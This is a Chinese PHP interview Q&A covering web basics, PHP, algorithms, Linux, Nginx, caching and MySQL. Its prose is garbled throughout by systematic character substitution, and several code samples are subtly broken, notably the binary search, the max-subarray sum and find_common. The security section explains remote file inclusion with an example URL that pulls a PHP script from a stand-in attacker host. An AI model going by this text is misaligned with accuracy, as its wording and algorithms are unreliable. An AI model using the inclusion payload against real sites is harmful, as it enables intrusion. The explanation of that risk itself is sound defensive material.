根底局部
1.HTTP中GET与POST的区别,留神最初一条
GET在浏览器回退时是有害的,而POST会再次提交申请。
GET产生的URL地址能够被Bookmark,而POST不能够。
GET申请会被浏览器被动cache,而POST不会,除非手动设置。
GET申请只能进行url编码,而POST反对多种编码方式。
GET申请参数会被残缺保留在浏览器历史记录里,而POST中的参数不会被保留。
GET申请在URL中传送的参数是有长度限度的,而POST没有。
对参数的数据类型,GET只承受ASCII字符,而POST没有限度。
GET比POST更不平安,因为参数间接裸露在URL上,所以不能用来传递敏感信息。
GET参数通过URL传递,POST放在Request body中。
GET产生一个TCP数据包,POST产生两个TCP数据包。
2.为什么Tcp连贯是三次,挥手是四次
在Tcp连贯中,服务端的SYN和ACK向客户端发送是一次性发送的,而在断开连接的过程中,B端向A端发送的ACK和FIN是分两次发送的。因为在B端接管到A端的FIN后,B端可能还有数据要传输,所以先发送ACK,等B端解决完本人的事件后就能够发送FIN断开连接了。
3.Cookie存在哪
如果设置了过期工夫,Cookie存在硬盘里
没有设置过期工夫,Cookie存在内存里
4.COOKIE和SESSION的区别和关系
COOKIE保留在客户端,而SESSION则保留在服务器端
从安全性来讲,SESSION的安全性更高
从保留内容的类型的角度来讲,COOKIE只保留字符串(及可能主动转换成字符串)
从保留内容的大小来看,COOKIE保留的内容是无限的,比拟小,而SESSION基本上没有这个限度
从性能的角度来讲,用SESSION的话,对服务器的压力会更大一些
SEEION依赖于COOKIE,但如果禁用COOKIE,也能够通过url传递
PHP相干
Session可不可以设置生效工夫,比方30分钟过期
设置seesion.cookie_lifetime有30分钟,并设置session.gc_maxlifetime为30分钟
本人为每一个Session值减少timestamp
每次拜访之前, 判断工夫戳
PHP过程间通信的几种形式
音讯队列
信号量+共享内存
信号
管道
socket
php类的动态调用和实例化调用各自的利弊
静态方法是类中的一个成员办法,属于整个类,即便不必创立任何对象也能够间接调用!静态方法效率上要比实例化高,静态方法的毛病是不主动销毁,而实例化的则能够做销毁。
类的数组形式调用
ArrayAccess(数组式拜访)接口
用php写一个函数,获取一个文本文件最初n行内容,要求尽可能效率高,并能够跨平台应用。
function tail($file, $num)
{
$fp = fopen($file,"r");
$pos = -2;
$eof = "";
$head = false; //当总行数小于Num时,判断是否到第一行了
$lines = array();
while ($num > 0) {
while($eof != PHP_EOL){
if (fseek($fp, $pos, SEEK_END) == 0) { //fseek胜利返回0,失败返回-1
$eof = fgetc($fp);
$pos--;
} else { //当达到第一行,行首时,设置$pos失败
fseek($fp, 0, SEEK_SET);
$head = true; //达到文件头部,开关关上
break;
}
}
array_unshift($lines, str_replace(PHP_EOL, '', fgets($fp)));
if ($head) {//这一句,只能放上一句后,因为到文件头后,把第一行读取进去再跳出整个循环
break;
}
$eof = "";
$num--;
}
fclose($fp);
return $lines;
}
$SERVER[‘SERVER_NAME’]和$SERVER[‘HTTP_HOST’]的区别
相同点: 当满足以下三个条件时,两者会输入雷同信息。
服务器为80端口
apache的conf中ServerName设置正确
HTTP/1.1协定标准
不同点:
通常状况: $_SERVER[“HTTP_HOST”] 在HTTP/1.1协定标准下,会依据客户端的HTTP申请输入信息。 $_SERVER[“SERVER_NAME”] 默认状况下间接输入apache的配置文件httpd.conf中的ServerName值。
当服务器为非80端口时: $_SERVER[“HTTP_HOST”] 会输入端口号,例如:coffeephp.com:8080 $_SERVER[“SERVER_NAME”] 会间接输入ServerName值 因而在这种状况下,能够了解为:$_SERVER[‘HTTP_HOST’] = $_SERVER[‘SERVER_NAME’] : $_SERVER[‘SERVER_PORT’]
当配置文件httpd.conf中的ServerName与HTTP/1.0申请的域名不统一时: httpd.conf配置如下:
<virtualhost *>
ServerName github.com
ServerAlias blog.github.com
</virtualhost>
客户端拜访域名 blog.github.com $_SERVER[“HTTP_HOST”] 输入 blog.github.com $_SERVER[“SERVER_NAME”] 输入github.com
关上php.ini的safe_mode会影响哪些参数
当safe_mode=On时,会呈现上面限度:
- 所有输入输出函数(例如fopen()、file()和require())的实用会受到限制,只能用于与调用这些函数的脚本有雷同拥有者的文件。例如,假设启用了平安模式,如果Mary领有的脚本调用fopen(),尝试关上由Jonhn领有的一个文件,则将失败。然而,如果Mary不仅领有调用 fopen()的脚本,还领有fopen()所调用的文件,就会胜利。
- 如果试图通过函数popen()、system()或exec()等执行脚本,只有当脚本位于safe_mode_exec_dir配置指令指定的目录才可能。
- HTTP验证失去进一步增强,因为验证脚本用于者的UID划入验证畛域范畴内。此外,当启用平安模式时,不会设置PHP_AUTH。
- 如果实用MySQL数据库服务器,链接MySQL服务器所用的用户名必须与调用mysql_connect()的文件拥有者用户名雷同。
具体的解释能够查看官网:http://www.php.net/manual/zh/… php safe_mode影响参数
函数名 | 限度 |
---|---|
dbmopen() | 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 |
dbase_open() | 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 |
filepro() | 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 |
filepro_rowcount() | 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 |
filepro_retrieve() | 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 |
ifx_* sql_safe_mode | 限度, (!= safe mode) |
ingres_* sql_safe_mode | 限度, (!= safe mode) |
mysql_* sql_safe_mode | 限度, (!= safe mode) |
pg_loimport() | 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 |
posix_mkfifo() | 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。 |
putenv() | 遵循 ini 设置的 safe_mode_protected_env_vars 和 safe_mode_allowed_env_vars 选项。请参考 putenv() 函数的无关文档。 |
move_uploaded_file() | 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 |
chdir() | 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。 |
dl() | 本函数在平安模式下被禁用。 |
backtick operator | 本函数在平安模式下被禁用。 |
shell_exec() | (在性能上和 backticks 函数雷同) 本函数在平安模式下被禁用。 |
exec() | 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些起因,目前不能在可执行对象的门路中应用 ..。escapeshellcmd() 将被作用于此函数的参数上。 |
system() | 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些起因,目前不能在可执行对象的门路中应用 ..。escapeshellcmd() 将被作用于此函数的参数上。 |
passthru() | 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些起因,目前不能在可执行对象的门路中应用 ..。escapeshellcmd() 将被作用于此函数的参数上。 |
popen() | 只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些起因,目前不能在可执行对象的门路中应用 ..。escapeshellcmd() 将被作用于此函数的参数上。 |
fopen() | 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。 |
mkdir() | 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。 |
rmdir() | 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。 |
rename() | 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。 |
unlink() | 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。 |
copy() | 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。 (on source and target ) |
chgrp() | 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 |
chown() | 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 |
chmod() | 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 另外,不能设置 SUID、SGID 和 sticky bits |
touch() | 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。 |
symlink() | 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。 (留神:仅测试 target) |
link() | 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。 (留神:仅测试 target) |
apache_request_headers() | 在平安模式下,以“authorization”(辨别大小写)结尾的标头将不会被返回。 |
header() | 在平安模式下,如果设置了 WWW-Authenticate,以后脚本的 uid 将被增加到该标头的 realm 局部。 |
PHP_AUTH 变量 | 在平安模式下,变量 PHP_AUTH_USER、PHP_AUTH_PW 和 PHP_AUTH_TYPE 在 $_SERVER 中不可用。但无论如何,您依然能够应用 REMOTE_USER 来获取用户名称(USER)。(留神:仅 PHP 4.3.0 当前无效) |
highlight_file(), show_source() | 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。 (留神,仅在 4.2.1 版本后无效) |
parse_ini_file() | 查看被操作的文件或目录是否与正在执行的脚本有雷同的 UID(所有者)。 查看被操作的目录是否与正在执行的脚本有雷同的 UID(所有者)。 (留神,仅在 4.2.1 版本后无效) |
set_time_limit() | 在平安模式下不起作用。 |
max_execution_time | 在平安模式下不起作用。 |
mail() | 在平安模式下,第五个参数被屏蔽。 |
PHP解决多过程同时写一个文件的问题
function write($str)
{
$fp = fopen($file, 'a');
do {
usleep(100);
} while (!flock($fp, LOCK_EX));
fwrite($fp, $str . PHP_EOL);
flock($fp, LOCK_UN);
fclose($fp);
}
PHP里的超全局变量
- $GLOBALS
- $_SERVER
- $_GET
- $_POST
- $_FILES
- $_COOKIE
- $_SESSION
- $_REQUEST
- $_ENV
php7新个性
- ?? 运算符(NULL 合并运算符)
- 函数返回值类型申明
- 标量类型申明
- use 批量申明
- define 能够定义常量数组
- 闭包( Closure)减少了一个 call 办法 具体的能够见官网:php7-new-features
php7卓越性能背地的优化
- 缩小内存调配次数
- 多应用栈内存
- 缓存数组的hash值
- 字符串解析成桉树改为宏开展
- 应用大块间断内存代替小块破碎内存 具体的能够参考鸟哥的PPT:PHP7性能之源
include($_GET[‘p’])的安全隐患
当初任一个黑客当初都能够用:http://www.yourdomain.com/index.php?p=anyfile.txt
来获取你的机密信息,或执行一个PHP脚本。 如果allow_url_fopen=On,你更是死定了: 试试这个输出:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php
当初你的网页中蕴含了http://www.youaredoomed.com/phphack.php
的输入. 黑客能够发送垃圾邮件,扭转明码,删除文件等等。只有你能想得到。
列出一些防备SQL注入、XSS攻打、CSRF攻打的办法
- addslashes函数
- mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()
- PDO预处理 XSS:htmlspecial函数 CSRF:
- 验证HTTP REFER
- 应用toke进行验证
接口如何平安拜访
jwt或验证签名
PHP里有哪些设计模式
- 单例模式
- 工厂模式
- 脸面模式(facade)
- 注册器模式
- 策略模式
- 原型模式
- 装璜器模式 更多的能够看PHP设计模式简介这篇文章
验证ip是否正确
function check_ip($ip)
{
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
return false;
} else {
return true;
}
}
验证日期是否正当
function check_datetime($datetime)
{
if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) {
return true;
} else {
return false;
}
}
写一个正则表达式,过滤JS脚本(及把script标记及其内容都去掉)
$text = '<script>alert('XSS')</script>';
$pattern = '<script.*>.*<\/script>/i';
$text = preg_replace($pattern, '', $text);
下单后30分钟未领取勾销订单
第一种计划:被动过期+cron,就是用户查看的时候去数据库查有没有领取+定时清理。 第二种计划:提早性工作,到工夫查看订单是否领取胜利,如果没有领取则勾销订单
设计一个秒杀零碎
思路:用redis的队列
$ttl = 4;
$random = mt_rand(1,1000).'-'.gettimeofday(true).'-'.mt_rand(1,1000);
$lock = fasle;
while (!$lock) {
$lock = $redis->set('lock', $random, array('nx', 'ex' => $ttl));
}
if ($redis->get('goods.num') <= 0) {
echo ("秒杀曾经完结");
//删除锁
if ($redis->get('lock') == $random) {
$redis->del('lock');
}
return false;
}
$redis->decr('goods.num');
echo ("秒杀胜利");
//删除锁
if ($redis->get('lock') == $random) {
$redis->del('lock');
}
return true;
请设计一个实现形式,能够给某个ip找到对应的省和市,要求效率竟可能的高
//ip2long,把所有城市的最小和最大Ip录进去
$redis_key = 'ip';
$redis->zAdd($redis_key, 20, '#bj');//北京的最小IP加#
$resid->zAdd($redis_key, 30, 'bj');//最大IP
function get_ip_city($ip_address)
{
$ip = ip2long($ip_address);
$redis_key = 'ip';
$city = zRangeByScore($redis_key, $ip, '+inf', array('limit' => array(0, 1)));
if ($city) {
if (strpos($city[0], "#") === 0) {
echo '城市不存在!';
} else {
echo '城市是' . $city[0];
}
} else {
echo '城市不存在!';
}
}
算法局部
反转函数的实现
/**
* 反转数组
* @param array $arr
* @return array
*/
function reverse($arr)
{
$n = count($arr);
$left = 0;
$right = $n - 1;
while ($left < $right) {
$temp = $arr[$left];
$arr[$left++] = $arr[$right];
$arr[$right--] = $temp;
}
return $arr;
}
两个有序int汇合是否有雷同元素的最优算法
/**
* 寻找两个有序数组里雷同的元素
* @param array $arr1
* @param array $arr2
* @return array
*/
function find_common($arr1, $arr2)
{
$common = array();
$i = $j = 0;
$count1 = count($arr1);
$count2 = count($arr2);
while ($i < $count1 && $j < $count2) {
if ($arr1[$i] < $arr2[$j]) {
$i++;
} elseif ($arr1[$i] > $arr2[$j]) {
$j++;
} else {
$common[] = $arr[$i];
$i++;
$j++;
}
}
return array_unique($common);
}
将一个数组中的元素随机(打乱)
/**
* 打乱数组
* @param array $arr
* @return array
*/
function custom_shuffle($arr)
{
$n = count($arr);
for ($i = 0; $i < $n; $i++) {
$rand_pos = mt_rand(0, $n - 1);
if ($rand_pos != $i) {
$temp = $arr[$i];
$arr[$i] = $arr[$rand_pos];
$arr[$rand_pos] = $temp;
}
}
return $arr;
}
给一个有数字和字母的字符串,让连着的数字和字母对应
function number_alphabet($str)
{
$number = preg_split('/[a-z]+/', $str, -1, PREG_SPLIT_NO_EMPTY);
$alphabet = preg_split('/\d+/', $str, -1, PREG_SPLIT_NO_EMPTY);
$n = count($number);
for ($i = 0; $i < $count; $i++) {
echo $number[$i] . ':' . $alphabet[$i] . '</br>';
}
}
$str = '1a3bb44a2ac';
number_alphabet($str);//1:a 3:bb 44:a 2:ac
求n以内的质数(质数的定义:在大于1的自然数中,除了1和它自身意外,无奈被其余自然数整除的数)
思路: 1.(质数筛选定理)n不可能被不大于根号n的任何质数整除,则n是一个质数
2.除了2的偶数都不是质数
代码如下:
/**
* 求n内的质数
* @param int $n
* @return array
*/
function get_prime($n)
{
$prime = array(2);//2为质数
for ($i = 3; $i <= $n; $i += 2) {//偶数不是质数,步长能够加大
$sqrt = intval(sqrt($i));//求根号n
for ($j = 3; $j <= $sqrt; $j += 2) {//i是奇数,当然不能被偶数整除,步长也能够加大。
if ($i % $j == 0) {
break;
}
}
if ($j > $sqrt) {
array_push($prime, $i);
}
}
return $prime;
}
print_r(getPrime(1000));
约瑟夫环问题
相干题目:一群猴子排成一圈,按1,2,…,n顺次编号。而后从第1只开始数,数到第m只,把它踢出圈,从它前面再开始数, 再数到第m只,在把它踢出去…,如此不停的进行上来, 直到最初只剩下一只猴子为止,那只猴子就叫做大王。要求编程模仿此过程,输出m、n, 输入最初那个大王的编号。
/**
* 获取大王
* @param int $n
* @param int $m
* @return int
*/
function get_king_mokey($n, $m)
{
$arr = range(1, $n);
$i = 0;
while (count($arr) > 1) {
$i++;
$survice = array_shift($arr);
if ($i % $m != 0) {
array_push($arr, $survice);
}
}
return $arr[0];
}
如何疾速寻找一个数组里最小的1000个数
思路:假如最后面的1000个数为最小的,算出这1000个数中最大的数,而后和第1001个数比拟,如果这最大的数比这第1001个数小的话跳过,如果要比这第1001个数大则将两个数替换地位,并算出新的1000个数外面的最大数,再和下一个数比拟,以此类推。
代码如下:
//寻找最小的k个数
//题目形容
//输出n个整数,输入其中最小的k个。
/**
* 获取最小的k个数
* @param array $arr
* @param int $k [description]
* @return array
*/
function get_min_array($arr, $k)
{
$n = count($arr);
$min_array = array();
for ($i = 0; $i < $n; $i++) {
if ($i < $k) {
$min_array[$i] = $arr[$i];
} else {
if ($i == $k) {
$max_pos = get_max_pos($min_array);
$max = $min_array[$max_pos];
}
if ($arr[$i] < $max) {
$min_array[$max_pos] = $arr[$i];
$max_pos = get_max_pos($min_array);
$max = $min_array[$max_pos];
}
}
}
return $min_array;
}
/**
* 获取最大的地位
* @param array $arr
* @return array
*/
function get_max_pos($arr)
{
$pos = 0;
for ($i = 1; $i < count($arr); $i++) {
if ($arr[$i] > $arr[$pos]) {
$pos = $i;
}
}
return $pos;
}
$array = [1, 100, 20, 22, 33, 44, 55, 66, 23, 79, 18, 20, 11, 9, 129, 399, 145, 2469, 58];
$min_array = get_min_array($array, 10);
print_r($min_array);
如何在有序的数组中找到一个数的地位(二分查找)
代码如下:
/**
* 二分查找
* @param array $array 数组
* @param int $n 数组数量
* @param int $value 要寻找的值
* @return int
*/
function binary_search($array, $n, $value)
{
$left = 0;
$right = $n - 1;
while ($left <= $right) {
$mid = intval(($left + $right) / 2);
if ($value > $array[$mid]) {
$right = $mid + 1;
} elseif ($value < $array[$mid]) {
$left = $mid - 1;
} else {
return $mid;
}
}
return -1;
}
给定一个有序整数序列,找出绝对值最小的元素
思路:二分查找
/**
* 获取绝对值最小的元素
* @param array $arr
* @return int
*/
function get_min_abs_value($arr)
{
$n = count($arr);
//如果符号雷同,间接返回
if (is_same_sign($arr[0], $arr[$n - 1])) {
return $arr[0] >= 0 ? $arr[0] : $arr[$n - 1];
}
//二分查找
$left = 0;
$right = $n - 1;
while ($left <= $right) {
if ($left + 1 === $right) {
return abs($arr[$left]) < abs($arr[$right]) ? $arr[$left] : $arr[$right];
}
$mid = intval(($left + $right) / 2);
if ($arr[$mid] < 0) {
$left = $mid + 1;
} else {
$right = $mid - 1;
}
}
}
/**
* 判断符号是否雷同
* @param int $a
* @param int $b
* @return boolean
*/
function is_same_sign($a, $b)
{
if ($a * $b > 0) {
return true;
} else {
return false;
}
}
找出有序数组中随机3个数和为0的所有状况
思路:动静布局
function three_sum($arr)
{
$n = count($arr);
$return = array();
for ($i=0; $i < $n; $i++) {
$left = $i + 1;
$right = $n - 1;
while ($left <= $right) {
$sum = $arr[$i] + $arr[$left] + $arr[$right];
if ($sum < 0) {
$left++;
} elseif ($sum > 0) {
$right--;
} else {
$numbers = $arr[$i] . ',' . $arr[$left] . ',' . $arr[$right];
if (!in_array($numbers, $return)) {
$return[] = $numbers;
}
$left++;
$right--;
}
}
}
return $return;
}
$arr = [-10, -9, -8, -4, -2, 0, 1, 2, 3, 4, 5, 6, 9];
var_dump(three_sum($arr));
编写一个PHP函数,求任意n个正负整数外面最大的间断和,要求算法工夫复杂度尽可能低。
思路:动静布局
/**
* 获取最大的间断和
* @param array $arr
* @return int
*/
function max_sum_array($arr)
{
$currSum = 0;
$maxSum = 0;//数组元素全为负的状况,返回最大数
$n = count($arr);
for ($i = 0; $i < $n; $i++) {
if ($currSum >= 0) {
$currSum += $arr[$i];
} else {
$currSum = $arr[$i];
}
}
if ($currSum > $maxSum) {
$maxSum = $currSum;
}
return $maxSum;
}
Linux相干
1.如何批改文件为以后用户只读
chmod u=r 文件名
2.Linux过程属性
- 过程:是用pid示意,它的数值是惟一的
- 父过程:用ppid示意
- 启动过程的用户:用UID示意
- 启动过程的用户所属的组:用GID示意
- 过程的状态:运行R,就绪W,休眠S,僵尸Z
3.统计某一天网站的访问量
awk '{print $1}' /var/log/access.log | sort | uniq | wc -l
举荐篇文章,讲awk理论应用的shell在手剖析服务器日志不愁
Nginx相干
1.fastcgi通过端口监听和通过文件监听的区别
监听形式 | 模式 | nginx链接fastcgi形式 |
---|---|---|
端口监听 | fastcgi_pass 127.0.0.1:9000 | TCP链接 |
文件监听 | fastcgi_pass /tmp/php_cgi.sock | Unix domain Socket |
2.nginx的负载平衡实现形式
- 轮询
- 用户IP哈希
- 指定权重
- fair(第三方)
- url_hash(第三方)
Memcache/Redis
1.Redis主从是怎么同步数据的?(即复制性能)
无论是首次连贯还是从新连贯,当建设一个从服务器时,从服务器都将从主服务器发送一个SYNC命令。接到SYNC命令的主服务器将开始执行BGSAVE,并在保留操作执行期间,将所有新执行的命令都保留到一个缓冲区外面,当BGSAVE执行结束后,主服务器将执行保留操作所失去的.rdb文件发送给从服务器,从服务器接管这个.rdb文件,并将文件中的数据载入到内存中。之后主服务器会以Redis命令协定的格局,将写命令缓冲区中积攒的所有内容都发送给从服务器。
2.Memcache缓存命中率
缓存命中率 = get_hits/cmd_get * 100%
3.Memcache集群实现
一致性Hash
4.Memcache与Redis的区别
-
Memcache
- 该产品自身特地是数据在内存里边的存储,如果服务器忽然断电,则全副数据就会失落
- 单个key(变量)寄存的数据有1M的限度
- 存储数据的类型都是String字符串类型
- 自身没有长久化性能
- 能够应用多核(多线程)
-
Redis
- 数据类型比拟丰盛:String、List、Set、Sortedset、Hash
- 有长久化性能,能够把数据随时存储在磁盘上
- 自身有肯定的计算性能
- 单个key(变量)寄存的数据有1GB的限度
MySQL相干
1.执行SQL语句:select count(*) from articles 时,MyISAM和InnoDB哪个快
MyISAM快,因为MyISAM自身就记录了数量,而InnoDB要扫描数据
3.隐式转换
- 当查问字段是INT类型,如果查问条件为CHAR,将查问条件转换为INT,如果是字符串前导都是数字将会进行截取,如果不是转换为0。
- 当查问字段是CHAR/VARCHAR类型,如果查问条件为INT,将查问字段为换为INT再进行比拟,可能会造成全表扫描
2.最左前缀准则
有一个复合索引:INDEX(
a,
b,
c)
应用形式 | 是否用上索引 |
---|---|
select * from users where a = 1 and b = 2 | 能用上a、b |
select * from users where b = 2 and a = 1 | 能用上a、b(有MySQL查问优化器) |
select * from users where a = 2 and c = 1 | 能用上a |
select * from users where b = 2 and c = 1 | 不能 |
3.聚簇索引和非聚簇索引的区别
聚簇索引的叶节点就是数据节点,而非聚簇索引的页节点依然是索引检点,并保留一个链接指向对应数据块。
4.索引类型
主键索引 PRIMARY
一般索引 INDEX
惟一索引 UNIQUE
全文索引 FULLTEXT
举例说明:
CREATE TABLE `user` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(10) CHARACTER SET latin1 DEFAULT NULL,
`idcard` varchar(18) CHARACTER SET latin1 DEFAULT NULL,
`phone` varchar(10) CHARACTER SET latin1 DEFAULT NULL,
`addres` varchar(50) CHARACTER SET latin1 DEFAULT NULL,
`remak` text CHARACTER SET latin1,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
id 作为主键,应用 PRIMARY
name 如果须要建设索引就建设一般索引用于搜寻应用,INDEX
idcard 作为用户身份证信息是惟一的,能够抉择应用UNIQUE
remak 作为备注信息,如果须要索引的话,短文章能够应用一般索引(INDEX),常温的话能够能够选着全文索引(FULLTEXT)
ALTER table user add PRIMARY KEY("id")
ALTER table user add index("name")
ALTER table user add UNIQUE("idcard")
ALTER table user add FULLTEXT ("remak")
其余局部
1.网页/利用拜访慢忽然变慢,如何定位问题
- top、iostat查看cpu、内存及io占用状况
- 内核、程序参数设置不合理 查看有没有报内核谬误,连接数用户关上文件数这些有没有达到下限等等
- 链路自身慢 是否跨运营商、用户上下行带宽不够、dns解析慢、服务器内网播送风暴什么的
- 程序设计不合理 是否程序自身算法设计太差,数据库语句太过简单或者刚上线了什么性能引起的
- 其它关联的程序引起的 如果要拜访数据库,检查一下是否数据库拜访慢
- 是否被攻打了 查看服务器是否被DDos了等等
- 硬件故障 这个个别间接服务器就挂了,而不是拜访慢
2.如何设计/优化一个访问量比拟大的博客/论坛
- 缩小http申请(比方应用雪碧图)
- 优化数据库(范式、SQL语句、索引、配置、读写拆散)
- 缓存应用(Memcache、Redis)
- 负载平衡
- 动静内容动态化+CDN
- 禁止内部盗链(refer、图片增加水印)
- 管制大文件下载
- 应用集群
发表回复